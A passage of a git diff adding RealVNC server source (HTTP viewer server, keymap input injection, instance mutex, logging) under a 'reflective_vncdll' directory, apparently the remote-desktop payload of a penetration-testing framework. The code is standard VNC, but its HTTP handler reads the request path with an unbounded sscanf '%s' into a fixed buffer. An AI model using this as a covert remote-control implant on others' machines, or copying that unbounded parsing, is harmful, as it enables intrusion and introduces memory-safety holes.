beforeBuf; +}; + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnchttpconnect.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vnchttpconnect.cpp new file mode 100644 index 0000000000..6d4b97c7f6 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnchttpconnect.cpp @@ -0,0 +1,387 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncHTTPConnect.cpp + +// Implementation of the HTTP server class + +#include "stdhdrs.h" +#include "VSocket.h" +#include "vncHTTPConnect.h" +#include "vncServer.h" +#include +#include "resource.h" + +// HTTP messages/message formats +const char HTTP_MSG_OK [] ="HTTP/1.0 200 OK\r\n\r\n"; +const char HTTP_FMT_INDEX[] ="VNC desktop [%.256s]\n" + "\n" + "\n"; +const char HTTP_MSG_NOSOCKCONN [] ="VNC desktop\n" + "The requested desktop is not configured to accept incoming connections.\n" + "\n"; +const char HTTP_MSG_NOSUCHFILE [] ="HTTP/1.0 404 Not found\r\n\r\n" + "File Not Found\n" + "

The requested file could not be found

\n"; + +// Filename to resource ID mappings for the Java class files: +typedef struct _FileToResourceMap { + char *filename; + char *type; + int resourceID; +} FileMap; + +const FileMap filemapping [] ={ + {"/vncviewer.jar", "JavaArchive", IDR_VNCVIEWER_JAR}, + {"/authenticationPanel.class", "JavaClass", IDR_AUTHPANEL_CLASS}, + {"/clipboardFrame.class", "JavaClass", IDR_CLIPBOARDFRAME_CLASS}, + {"/DesCipher.class", "JavaClass", IDR_DESCIPHER_CLASS}, + {"/optionsFrame.class", "JavaClass", IDR_OPTIONSFRAME_CLASS}, + {"/rfbProto.class", "JavaClass", IDR_RFBPROTO_CLASS}, + {"/vncCanvas.class", "JavaClass", IDR_VNCCANVAS_CLASS}, + {"/vncviewer.class", "JavaClass", IDR_VNCVIEWER_CLASS}, + {"/animatedMemoryImageSource.class", "JavaClass", IDR_ANIMMEMIMAGESRC_CLASS} + }; +const int filemappingsize = 9; + +// The function for the spawned thread to run +class vncHTTPConnectThread : public omni_thread +{ +public: + // Init routine + virtual BOOL Init(VSocket *socket, vncServer *server); + + // Code to be executed by the thread + virtual void *run_undetached(void * arg); + + // Routines to handle HTTP requests + virtual void DoHTTP(VSocket *socket); + virtual char *ReadLine(VSocket *socket, char delimiter, int max); + + // Fields used internally + BOOL m_shutdown; +protected: + vncServer *m_server; + VSocket *m_socket; +}; + +// Method implementations +BOOL vncHTTPConnectThread::Init(VSocket *socket, vncServer *server) +{ + // Save the server pointer + m_server = server; + + // Save the socket pointer + m_socket = socket; + + // Start the thread + m_shutdown = FALSE; + start_undetached(); + + return TRUE; +} + +// Code to be executed by the thread +void *vncHTTPConnectThread::run_undetached(void * arg) +{ + //vnclog.Print(LL_INTINFO, VNCLOG("started HTTP server thread\n")); + + // Go into a loop, listening for connections on the given socket + while (!m_shutdown) + { + // Accept an incoming connection + VSocket *new_socket = m_socket->Accept(); + if (new_socket == NULL) + break; + + //vnclog.Print(LL_CLIENTS, VNCLOG("HTTP client connected\n")); + + // Successful accept - perform the transaction + new_socket->SetTimeout(15000); + DoHTTP(new_socket); + + // And close the client + new_socket->Shutdown(); + new_socket->Close(); + delete new_socket; + } + + //vnclog.Print(LL_INTINFO, VNCLOG("quitting HTTP server thread\n")); + + return NULL; +} + +void vncHTTPConnectThread::DoHTTP(VSocket *socket) +{ + char filename[1024]; + char *line; + + // Read in the HTTP header + if ((line = ReadLine(socket, '\n', 1024)) == NULL) + return; + + // Scan the header for the filename and free the storage + int result = sscanf(line, "GET %s ", (char*)&filename); + delete [] line; + if ((result == 0) || (result == EOF)) + return; + + //vnclog.Print(LL_CLIENTS, VNCLOG("file %s requested\n"), filename); + + // Read in the rest of the browser's request data and discard... + BOOL emptyline=TRUE; + + for (;;) + { + char c; + + if (!socket->ReadExact(&c, 1)) + return; + if (c=='\n') + { + if (emptyline) + break; + emptyline = TRUE; + } + else + if (c >= ' ') + { + emptyline = FALSE; + } + } + + //vnclog.Print(LL_INTINFO, VNCLOG("parameters read\n")); + + if (filename[0] != '/') + { + //vnclog.Print(LL_CONNERR, VNCLOG("filename didn't begin with '/'\n")); + socket->SendExact(HTTP_MSG_NOSUCHFILE, strlen(HTTP_MSG_NOSUCHFILE)); + return; + } + + // Switch, dependent upon the filename: + if (strcmp(filename, "/") == 0) + { + char indexpage[2048 + MAX_COMPUTERNAME_LENGTH + 1]; + + //vnclog.Print(LL_CLIENTS, VNCLOG("sending main page\n")); + + // Send the OK notification message to the client + if (!socket->SendExact(HTTP_MSG_OK, strlen(HTTP_MSG_OK))) + return; + + // Compose the index page + if (m_server->SockConnected()) + { + int width, height, depth; + + // Get the screen's dimensions + m_server->GetScreenInfo(width, height, depth); + + // Get the name of this desktop + char desktopname[MAX_COMPUTERNAME_LENGTH+1]; + DWORD desktopnamelen = MAX_COMPUTERNAME_LENGTH + 1; + if (GetComputerName(desktopname, &desktopnamelen)) + { + // Make the name lowercase + for (int x=0; xGetPort() + ); + } + else + { + // Send a "sorry, not allowed" page + sprintf(indexpage, HTTP_MSG_NOSOCKCONN); + } + + // Send the page + socket->SendExact(indexpage, strlen(indexpage)); + //if () + //vnclog.Print(LL_INTINFO, VNCLOG("sent page\n")); + + return; + } + + // File requested was not the index so check the mappings + // list for a different file. + + // Now search the mappings for the desired file + for (int x=0; x < filemappingsize; x++) + { + if (strcmp(filename, filemapping[x].filename) == 0) + { + HRSRC resource; + HGLOBAL resourcehan; + char *resourceptr; + int resourcesize; + + //vnclog.Print(LL_INTINFO, VNCLOG("requested file recognised\n")); + + // Find the resource here + resource = FindResource(NULL, + MAKEINTRESOURCE(filemapping[x].resourceID), + filemapping[x].type + ); + if (resource == NULL) + return; + + // Get its size + resourcesize = SizeofResource(NULL, resource); + + // Load the resource + resourcehan = LoadResource(NULL, resource); + if (resourcehan == NULL) + return; + + // Lock the resource + resourceptr = (char *)LockResource(resourcehan); + if (resourceptr == NULL) + return; + + //vnclog.Print(LL_INTINFO, VNCLOG("sending file...\n")); + + // Send the OK message + if (!socket->SendExact(HTTP_MSG_OK, strlen(HTTP_MSG_OK))) + return; + + // Now send the entirety of the data to the client + if (!socket->SendExact(resourceptr, resourcesize)) + return; + + //vnclog.Print(LL_INTINFO, VNCLOG("file successfully sent\n")); + + return; + } + } + + // Send the NoSuchFile notification message to the client + if (!socket->SendExact(HTTP_MSG_NOSUCHFILE, strlen(HTTP_MSG_NOSUCHFILE))) + return; +} + +char *vncHTTPConnectThread::ReadLine(VSocket *socket, char delimiter, int max) +{ + // Allocate the maximum required buffer + char *buffer = new char[max+1]; + int buffpos = 0; + + // Read in data until a delimiter is read + for (;;) + { + char c; + + if (!socket->ReadExact(&c, 1)) + { + delete [] buffer; + return NULL; + } + + if (c == delimiter) + { + buffer[buffpos] = 0; + return buffer; + } + + buffer[buffpos] = c; + buffpos++; + + if (buffpos == (max-1)) + { + buffer[buffpos] = 0; + return buffer; + } + } +} + +// The vncSockConnect class implementation + +vncHTTPConnect::vncHTTPConnect() +{ + m_thread = NULL; +} + +vncHTTPConnect::~vncHTTPConnect() +{ + m_socket.Shutdown(); + + // Join with our lovely thread + if (m_thread != NULL) + { + // *** This is a hack to force the listen thread out of the accept call, + // because Winsock accept semantics are broken. + ((vncHTTPConnectThread *)m_thread)->m_shutdown = TRUE; + + VSocket socket; + socket.Create(); + socket.Bind(0); + socket.Connect("localhost", m_port); + socket.Close(); + + void *returnval; + m_thread->join(&returnval); + m_thread = NULL; + + m_socket.Close(); + } +} + +BOOL vncHTTPConnect::Init(vncServer *server, UINT port) +{ + // Save the port id + m_port = port; + + // Create the listening socket + if (!m_socket.Create()) + return FALSE; + + // Bind it + if (!m_socket.Bind(m_port, server->LoopbackOnly())) + return FALSE; + + // Set it to listen + if (!m_socket.Listen()) + return FALSE; + + // Create the new thread + m_thread = new vncHTTPConnectThread; + if (m_thread == NULL) + return FALSE; + + // And start it running + return ((vncHTTPConnectThread *)m_thread)->Init(&m_socket, server); +} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnchttpconnect.h b/external/source/reflective_vncdll/winvnc/winvnc/vnchttpconnect.h new file mode 100644 index 0000000000..986a7c1854 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnchttpconnect.h @@ -0,0 +1,69 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncHTTPConnect.h + +// The vncHTTPConnect class creates a listening socket and binds +// it to the specified port number. It then creates a listen +// thread which goes into a loop, listening on the socket. +// When the vncHTTPConnect object is destroyed, all resources are +// freed automatically, including the listen thread. +// This server allows clients to request the java classes required +// to view the desktop remotely. + +class vncHTTPConnect; + +#if (!defined(_WINVNC_VNCHTTPCONNECT)) +#define _WINVNC_VNCHTTPCONNECT + +// Includes +#include "stdhdrs.h" +#include "VSocket.h" +#include "vncServer.h" +#include + +// The vncHTTPConnect class itself +class vncHTTPConnect +{ +public: + // Constructor/destructor + vncHTTPConnect(); + ~vncHTTPConnect(); + + // Init + virtual VBool Init(vncServer *server, UINT port); + + // Implementation +protected: + // The listening socket + VSocket m_socket; + + // The port to listen on + UINT m_port; + + // The in-coming accept thread + omni_thread *m_thread; +}; + +#endif // _WINVNC_VNCHTTPCONNECT \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncinsthandler.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncinsthandler.cpp new file mode 100644 index 0000000000..8f313afff7 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncinsthandler.cpp @@ -0,0 +1,52 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncInstHandler.cpp + +// Implementation of the class used to ensure that only +// one instance is running + +#include "stdhdrs.h" +#include "vncInstHandler.h" + +// Name of the mutex + +const char mutexname [] = "WinVNC_Win32_Instance_Mutex"; + +// The class methods + +BOOL +vncInstHandler::Init() +{ + // Create the named mutex + HANDLE mutex = CreateMutex(NULL, FALSE, mutexname); + if (mutex == NULL) + return FALSE; + + // Check that the mutex didn't already exist + if (GetLastError() == ERROR_ALREADY_EXISTS) + return FALSE; + + return TRUE; +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncinsthandler.h b/external/source/reflective_vncdll/winvnc/winvnc/vncinsthandler.h new file mode 100644 index 0000000000..b18b8829b0 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncinsthandler.h @@ -0,0 +1,48 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncInstHandler + +// The WinMain procedure for WinVNC produces one of these objects. +// It creates a named mutex and checks to see whether that mutex +// already existed in the system. If it did, then there is a previous +// instance of WinVNC running, which must be requested to quit cleanly. + +class vncInstHandler; + +#if (!defined(_WINVNC_VNCINSTHANDLER)) +#define _WINVNC_VNCINSTHANDLER + +// Includes +#include "stdhdrs.h" + +// The vncInstHandler class itself +class vncInstHandler +{ +public: + // Constructor/destructor + BOOL Init(); +}; + +#endif // _WINVNC_VNCINSTHANDLER diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnckeymap.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vnckeymap.cpp new file mode 100644 index 0000000000..71b33a35f5 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnckeymap.cpp @@ -0,0 +1,365 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// vncKeymap.cpp + +// This code originally just mapped between X keysyms and local Windows +// virtual keycodes. Now it actually does the local-end simulation of +// key presses, to keep this messy code on one place! + +#include "vncKeymap.h" +#include +#define XK_MISCELLANY +#include "keysymdef.h" +#include "vncService.h" + +#include + +// Mapping of X keysyms to windows VK codes. Ordering here is the same as +// keysymdef.h to make checking easier + +struct keymap_t { + rdr::U32 keysym; + rdr::U8 vk; + bool extended; +}; + +static keymap_t keymap[] = { + + // TTY functions + + { XK_BackSpace, VK_BACK, 0 }, + { XK_Tab, VK_TAB, 0 }, + { XK_Clear, VK_CLEAR, 0 }, + { XK_Return, VK_RETURN, 0 }, + { XK_Pause, VK_PAUSE, 0 }, + { XK_Escape, VK_ESCAPE, 0 }, + { XK_Delete, VK_DELETE, 1 }, + + // Japanese stuff - almost certainly wrong... + { XK_Kanji, VK_KANJI, 0 }, + { XK_Kana_Shift, VK_KANA, 0 }, + + // Cursor control & motion + + { XK_Home, VK_HOME, 1 }, + { XK_Left, VK_LEFT, 1 }, + { XK_Up, VK_UP, 1 }, + { XK_Right, VK_RIGHT, 1 }, + { XK_Down, VK_DOWN, 1 }, + { XK_Page_Up, VK_PRIOR, 1 }, + { XK_Page_Down, VK_NEXT, 1 }, + { XK_End, VK_END, 1 }, + + // Misc functions + + { XK_Select, VK_SELECT, 0 }, + { XK_Print, VK_SNAPSHOT, 0 }, + { XK_Execute, VK_EXECUTE, 0 }, + { XK_Insert, VK_INSERT, 1 }, + { XK_Help, VK_HELP, 0 }, + { XK_Break, VK_CANCEL, 1 }, + + // Keypad Functions, keypad numbers + + { XK_KP_Space, VK_SPACE, 0 }, + { XK_KP_Tab, VK_TAB, 0 }, + { XK_KP_Enter, VK_RETURN, 1 }, + { XK_KP_F1, VK_F1, 0 }, + { XK_KP_F2, VK_F2, 0 }, + { XK_KP_F3, VK_F3, 0 }, + { XK_KP_F4, VK_F4, 0 }, + { XK_KP_Home, VK_HOME, 0 }, + { XK_KP_Left, VK_LEFT, 0 }, + { XK_KP_Up, VK_UP, 0 }, + { XK_KP_Right, VK_RIGHT, 0 }, + { XK_KP_Down, VK_DOWN, 0 }, + { XK_KP_End, VK_END, 0 }, + { XK_KP_Page_Up, VK_PRIOR, 0 }, + { XK_KP_Page_Down, VK_NEXT, 0 }, + { XK_KP_Begin, VK_CLEAR, 0 }, + { XK_KP_Insert, VK_INSERT, 0 }, + { XK_KP_Delete, VK_DELETE, 0 }, + // XXX XK_KP_Equal should map in the same way as ascii '=' + { XK_KP_Multiply, VK_MULTIPLY, 0 }, + { XK_KP_Add, VK_ADD, 0 }, + { XK_KP_Separator, VK_SEPARATOR, 0 }, + { XK_KP_Subtract, VK_SUBTRACT, 0 }, + { XK_KP_Decimal, VK_DECIMAL, 0 }, + { XK_KP_Divide, VK_DIVIDE, 1 }, + + { XK_KP_0, VK_NUMPAD0, 0 }, + { XK_KP_1, VK_NUMPAD1, 0 }, + { XK_KP_2, VK_NUMPAD2, 0 }, + { XK_KP_3, VK_NUMPAD3, 0 }, + { XK_KP_4, VK_NUMPAD4, 0 }, + { XK_KP_5, VK_NUMPAD5, 0 }, + { XK_KP_6, VK_NUMPAD6, 0 }, + { XK_KP_7, VK_NUMPAD7, 0 }, + { XK_KP_8, VK_NUMPAD8, 0 }, + { XK_KP_9, VK_NUMPAD9, 0 }, + + // Auxilliary Functions + + { XK_F1, VK_F1, 0 }, + { XK_F2, VK_F2, 0 }, + { XK_F3, VK_F3, 0 }, + { XK_F4, VK_F4, 0 }, + { XK_F5, VK_F5, 0 }, + { XK_F6, VK_F6, 0 }, + { XK_F7, VK_F7, 0 }, + { XK_F8, VK_F8, 0 }, + { XK_F9, VK_F9, 0 }, + { XK_F10, VK_F10, 0 }, + { XK_F11, VK_F11, 0 }, + { XK_F12, VK_F12, 0 }, + { XK_F13, VK_F13, 0 }, + { XK_F14, VK_F14, 0 }, + { XK_F15, VK_F15, 0 }, + { XK_F16, VK_F16, 0 }, + { XK_F17, VK_F17, 0 }, + { XK_F18, VK_F18, 0 }, + { XK_F19, VK_F19, 0 }, + { XK_F20, VK_F20, 0 }, + { XK_F21, VK_F21, 0 }, + { XK_F22, VK_F22, 0 }, + { XK_F23, VK_F23, 0 }, + { XK_F24, VK_F24, 0 }, + + // Modifiers + + { XK_Shift_L, VK_SHIFT, 0 }, + { XK_Shift_R, VK_RSHIFT, 0 }, + { XK_Control_L, VK_CONTROL, 0 }, + { XK_Control_R, VK_CONTROL, 1 }, + { XK_Alt_L, VK_MENU, 0 }, + { XK_Alt_R, VK_RMENU, 1 }, +}; + + +// doKeyboardEvent wraps the system keybd_event function and attempts to find +// the appropriate scancode corresponding to the supplied virtual keycode. + +inline void doKeyboardEvent(BYTE vkCode, DWORD flags) { + keybd_event(vkCode, MapVirtualKey(vkCode, 0), flags, 0); +} + +// KeyStateModifier is a class which helps simplify generating a "fake" press +// or release of shift, ctrl, alt, etc. An instance of the class is created +// for every key which may need to be pressed or released. Then either press() +// or release() may be called to make sure that the corresponding key is in the +// right state. The destructor of the class automatically reverts to the +// previous state. + +class KeyStateModifier { +public: + KeyStateModifier(int vkCode_, int flags_=0) + : vkCode(vkCode_), flags(flags_), pressed(false), released(false) + {} + void press() { + if (!(GetAsyncKeyState(vkCode) & 0x8000)) { + doKeyboardEvent(vkCode, flags); + //vnclog.Print(LL_INTINFO, "fake %d down\n", vkCode); + pressed = true; + } + } + void release() { + if (GetAsyncKeyState(vkCode) & 0x8000) { + doKeyboardEvent(vkCode, flags | KEYEVENTF_KEYUP); + //vnclog.Print(LL_INTINFO, "fake %d up\n", vkCode); + released = true; + } + } + ~KeyStateModifier() { + if (pressed) { + doKeyboardEvent(vkCode, flags | KEYEVENTF_KEYUP); + //vnclog.Print(LL_INTINFO, "fake %d up\n", vkCode); + } else if (released) { + doKeyboardEvent(vkCode, flags); + //vnclog.Print(LL_INTINFO, "fake %d down\n", vkCode); + } + } + int vkCode; + int flags; + bool pressed; + bool released; +}; + +// Keymapper - a single instance of this class is used to generate Windows key +// events. + +class Keymapper { + +public: + Keymapper() + { + for (int i = 0; i < sizeof(keymap) / sizeof(keymap_t); i++) { + vkMap[keymap[i].keysym] = keymap[i].vk; + extendedMap[keymap[i].keysym] = keymap[i].extended; + } + } + + void keyEvent(rdr::U32 keysym, bool down) + { + if ((keysym >= 32 && keysym <= 126) || + (keysym >= 160 && keysym <= 255)) + { + // ordinary Latin-1 character + + SHORT s = VkKeyScan(keysym); + if (s == -1) { + //vnclog.Print(LL_INTWARN, "ignoring unrecognised Latin-1 keysym %d\n", + // keysym); + return; + } + + BYTE vkCode = LOBYTE(s); + + KeyStateModifier ctrl(VK_CONTROL); + KeyStateModifier alt(VK_MENU); + KeyStateModifier shift(VK_SHIFT); + KeyStateModifier lshift(VK_LSHIFT); + KeyStateModifier rshift(VK_RSHIFT); + + if (down) { + BYTE modifierState = HIBYTE(s); + if (modifierState & 2) ctrl.press(); + if (modifierState & 4) alt.press(); + if (modifierState & 1) { + shift.press(); + } else { + if (vncService::IsWin95()) { + shift.release(); + } else { + lshift.release(); + rshift.release(); + } + } + } + //vnclog.Print(LL_INTINFO, + // "latin-1 key: keysym %d(0x%x) vkCode 0x%x down %d\n", + // keysym, keysym, vkCode, down); + + doKeyboardEvent(vkCode, down ? 0 : KEYEVENTF_KEYUP); + + } else { + + // see if it's a recognised keyboard key, otherwise ignore it + + if (vkMap.find(keysym) == vkMap.end()) { + //vnclog.Print(LL_INTWARN, "ignoring unknown keysym %d\n",keysym); + return; + } + BYTE vkCode = vkMap[keysym]; + DWORD flags = 0; + if (extendedMap[keysym]) flags |= KEYEVENTF_EXTENDEDKEY; + if (!down) flags |= KEYEVENTF_KEYUP; + + //vnclog.Print(LL_INTINFO, + // "keyboard key: keysym %d(0x%x) vkCode 0x%x ext %d down %d\n", + // keysym, keysym, vkCode, extendedMap[keysym], down); + + if (down && (vkCode == VK_DELETE) && + ((GetAsyncKeyState(VK_CONTROL) & 0x8000) != 0) && + ((GetAsyncKeyState(VK_MENU) & 0x8000) != 0) && + vncService::IsWinNT()) + { + vncService::SimulateCtrlAltDel(); + return; + } + + if (vncService::IsWin95()) { + switch (vkCode) { + case VK_RSHIFT: vkCode = VK_SHIFT; break; + case VK_RCONTROL: vkCode = VK_CONTROL; break; + case VK_RMENU: vkCode = VK_MENU; break; + } + } + + doKeyboardEvent(vkCode, flags); + } + } + +private: + std::map vkMap; + std::map extendedMap; +} key_mapper; + +void vncKeymap::keyEvent(CARD32 keysym, bool down) +{ + key_mapper.keyEvent(keysym, down); +} + + + +void +SetShiftState(BYTE key, BOOL down) +{ + BOOL keystate = (GetAsyncKeyState(key) & 0x8000) != 0; + + // This routine sets the specified key to the desired value (up or down) + if ((keystate && down) || ((!keystate) && (!down))) + return; + + //vnclog.Print(LL_INTINFO, + // VNCLOG("setshiftstate %d - (%s->%s)\n"), + // key, keystate ? "down" : "up", + // down ? "down" : "up"); + + // Now send a key event to set the key to the new value + doKeyboardEvent(key, down ? 0 : KEYEVENTF_KEYUP); + keystate = (GetAsyncKeyState(key) & 0x8000) != 0; + + //vnclog.Print(LL_INTINFO, + // VNCLOG("new state %d (%s)\n"), + // key, keystate ? "down" : "up"); +} + +void +vncKeymap::ClearShiftKeys() +{ + if (vncService::IsWinNT()) + { + // On NT, clear both sets of keys + + // LEFT + SetShiftState(VK_LSHIFT, FALSE); + SetShiftState(VK_LCONTROL, FALSE); + SetShiftState(VK_LMENU, FALSE); + + // RIGHT + SetShiftState(VK_RSHIFT, FALSE); + SetShiftState(VK_RCONTROL, FALSE); + SetShiftState(VK_RMENU, FALSE); + } + else + { + // Otherwise, we can't distinguish the keys anyway... + + // Clear the shift key states + SetShiftState(VK_SHIFT, FALSE); + SetShiftState(VK_CONTROL, FALSE); + SetShiftState(VK_MENU, FALSE); + } +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnckeymap.h b/external/source/reflective_vncdll/winvnc/winvnc/vnckeymap.h new file mode 100644 index 0000000000..309e1927a5 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnckeymap.h @@ -0,0 +1,37 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +#ifndef KEYMAP_H__ +#define KEYMAP_H__ + +#include "rfb.h" + +class vncKeymap { +public: + static void keyEvent(CARD32 keysym, bool down); + static void ClearShiftKeys(); +}; + + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnclog.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vnclog.cpp new file mode 100644 index 0000000000..c790ed8829 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnclog.cpp @@ -0,0 +1,191 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// Log.cpp: implementation of the VNCLog class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdhdrs.h" +#include +#include "vnclog.h" + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +const int VNCLog::ToDebug = 1; +const int VNCLog::ToFile = 2; +const int VNCLog::ToConsole = 4; + +const static int LINE_BUFFER_SIZE = 1024; + +VNCLog::VNCLog() +{ + m_lastLogTime = 0; + m_filename = "c:\\vncdll.log"; + m_append = false; + hlogfile = NULL; + m_todebug = false; + m_toconsole = false; + m_tofile = false; +} + +void VNCLog::SetMode(int mode) { + + if (mode & ToDebug) + m_todebug = true; + else + m_todebug = false; + + if (mode & ToFile) { + if (!m_tofile) + OpenFile(); + } else { + CloseFile(); + m_tofile = false; + } + + if (mode & ToConsole) { + if (!m_toconsole) { + AllocConsole(); + fclose(stdout); + fclose(stderr); + int fh = _open_osfhandle((long)GetStdHandle(STD_OUTPUT_HANDLE), 0); + _dup2(fh, 1); + _dup2(fh, 2); + _fdopen(1, "wt"); + _fdopen(2, "wt"); + printf("fh is %d\n",fh); + fflush(stdout); + } + + m_toconsole = true; + + } else { + m_toconsole = false; + } +} + + +void VNCLog::SetLevel(int level) { + m_level = level; +} + +void VNCLog::SetFile(const char* filename, bool append) +{ + if (m_filename != NULL) + free(m_filename); + m_filename = strdup(filename); + m_append = append; + if (m_tofile) + OpenFile(); +} + +void VNCLog::OpenFile() +{ + // Is there a file-name? + if (m_filename == NULL) + { + m_todebug = true; + m_tofile = false; + Print(0, "Error opening log file\n"); + return; + } + + m_tofile = true; + + // If there's an existing log and we're not appending then move it + if (!m_append) + { + // Build the backup filename + char *backupfilename = new char[strlen(m_filename)+5]; + if (backupfilename) + { + strcpy(backupfilename, m_filename); + strcat(backupfilename, ".bak"); + // Attempt the move and replace any existing backup + // Note that failure is silent - where would we log a message to? ;) + MoveFileEx(m_filename, backupfilename, MOVEFILE_REPLACE_EXISTING); + delete [] backupfilename; + } + } + + CloseFile(); + + // If filename is NULL or invalid we should throw an exception here + hlogfile = CreateFile( + m_filename, GENERIC_WRITE, FILE_SHARE_READ, NULL, + OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); + + if (hlogfile == INVALID_HANDLE_VALUE) { + // We should throw an exception here + m_todebug = true; + m_tofile = false; + Print(0, "Error opening log file %s\n", m_filename); + } + if (m_append) { + SetFilePointer( hlogfile, 0, NULL, FILE_END ); + } else { + SetEndOfFile( hlogfile 